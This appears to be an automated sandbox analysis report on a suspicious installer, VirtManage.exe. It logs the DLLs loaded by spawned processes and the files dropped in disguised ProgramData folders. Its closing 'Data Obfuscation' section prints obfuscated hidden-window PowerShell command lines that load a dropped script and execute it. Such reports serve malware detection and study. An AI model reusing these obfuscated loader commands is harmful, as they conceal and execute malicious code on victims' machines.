Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msihnd.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: pcacli.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: riched20.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: usp10.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msls31.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeSection loaded: ntdsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: vbscript.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: dispex.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: ntdsapi.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\w32tm.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: fastprox.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: esscli.dll
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeSection loaded: mfc42u.dll
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeSection loaded: aclui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: mfc42u.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: aclui.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: textshaping.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: uxtheme.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: kernel.appcore.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: textinputframework.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: coreuicomponents.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: coremessaging.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: ntmarta.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: wintypes.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: wintypes.dll
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\whoami.exeSection loaded: version.dll
Source: C:\Windows\System32\whoami.exeSection loaded: authz.dll
Source: C:\Windows\System32\whoami.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\whoami.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\whoami.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\VirtManage.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Windows\System32\conhost.exeAutomated click: I Agree
Source: C:\Windows\System32\conhost.exeAutomated click: Next >
Source: C:\Windows\System32\conhost.exeAutomated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exeAutomated click: I Agree
Source: C:\Windows\SysWOW64\msiexec.exeAutomated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exeAutomated click: Next >
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeAutomated click: OK
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
Source: VirtManage.exeStatic PE information: certificate valid
Source: VirtManage.exeStatic file information: File size 10522168 > 1048576
Source: VirtManage.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb source: 7za.exe, 00000008.00000003.1170477347.00000225582C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: utomation.pdb3 source: powershell.exe, 00000026.00000002.1576944181.0000019274769000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb= source: 7za.exe, 00000008.00000003.1170477347.00000225582C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000026.00000002.1575952536.0000019274660000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: n.pdb source: powershell.exe, 00000026.00000002.1577037287.000001927479C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: OLEView.pdb source: VirtManage.exe, 00000000.00000003.1317989375.0000000000675000.00000004.00000020.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1421076133.0000000000676000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250803860.00000254763CA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250876303.00000254764CA000.00000004.00001000.00020000.00000000.sdmp, oleview.exe, 00000022.00000000.1420365525.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000022.00000002.2945093401.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000025.00000000.1442229837.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp, oleview.exe, 00000025.00000002.1607935405.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.pdbhP source: powershell.exe, 00000023.00000002.2949887031.00000209C730E000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000026.00000002.1577634276.00000192747B9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbJ source: powershell.exe, 00000026.00000002.1575398123.0000019274410000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.pdb source: powershell.exe, 00000023.00000002.2949887031.00000209C730E000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: OLEView.pdbGCTL source: VirtManage.exe, 00000000.00000003.1317989375.0000000000675000.00000004.00000020.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1421076133.0000000000676000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250803860.00000254763CA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250876303.00000254764CA000.00000004.00001000.00020000.00000000.sdmp, oleview.exe, 00000022.00000000.1420365525.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000022.00000002.2945093401.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000025.00000000.1442229837.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp, oleview.exe, 00000025.00000002.1607935405.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp

Data Obfuscation

barindex
Obfuscated command line found
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))"
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))"
Suspicious powershell command line found
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')"
